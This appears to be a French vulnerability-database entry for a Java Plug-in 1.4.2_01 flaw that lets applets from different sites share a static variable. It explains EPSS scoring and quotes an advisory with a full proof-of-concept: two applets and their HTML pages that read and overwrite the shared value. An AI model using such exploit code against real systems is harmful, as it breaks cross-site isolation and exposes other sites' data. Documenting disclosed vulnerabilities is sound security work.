Descriptions du CVE

The org.apache.xalan.processor.XSLProcessorVersion class in Java Plug-in 1.4.2_01 allows signed and unsigned applets to share variables, which violates the Java security model and could allow remote attackers to read or write data belonging to a signed applet.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/8857/info A vulnerability has been reported in Java implementations that may potentially allow Java applets from two different domains to violate the sandbox security model and share read/write access to data areas. This violates the principle of isolation that should be enforced by Java and it is possible for unsigned applets to gain unauthorized access to data used by signed applets. This issue was reported for Java Plug-in 1.4.2_01 on Microsoft Windows platforms, though it is believed that other platforms are similarly affected. It is not known if other versions or Java implementations are also affected. Two applets, - one on siteA: www.siteA.org => Read.html / ReadApplet.class - one on siteB: www.siteB.org => Write.html / WriteApplet.class Applet from siteB can share a variable also accessible (read and write) which is used by siteA. So data protection is not guaranteed, an unsigned applet may grab data stored in this variable by a signed applet or interfere it's XML processing and therefore violates the isolation restriction of the sandbox. ==========READAPPLET========================= /* Illegalaccess.org java exploit */ /* coded by Marc Schoenefeld */ import java.awt.Graphics; public class ReadApplet extends java.applet.Applet { public void paint(Graphics g) { System.out.println(org.apache.xalan.processor.XSLProcessorVersion.S_VERSION); } static { System.out.println(org.apache.xalan.processor.XSLProcessorVersion.S_VERSION); } } ==========READAPPLET========================= ==========WRITEAPPLET========================= import java.awt.Graphics; public class WriteApplet extends java.applet.Applet { public void paint(Graphics g) { org.apache.xalan.processor.XSLProcessorVersion.S_VERSION += "a"; } static { org.apache.xalan.processor.XSLProcessorVersion.S_VERSION = "altered from SiteA"; } } ==========WRITEAPPLET========================= =========Write.html============================ <HTML> <BODY BGCOLOR=#66FF66> <PRE> WriteApplet, write to variable Marc (marc@org.illegalaccess) </PRE> <applet codebase=. code=WriteApplet.class width=100 height=100> </applet> </BODY> </HTML> ========Read.html============================= <HTML> <BODY BGCOLOR=#6666FF> <PRE> ReadApplet, read from variable Marc (marc@org.illegalaccess) </PRE> <applet codebase=. code=ReadApplet.class width=100 height=100> </applet> </BODY> </HTML>
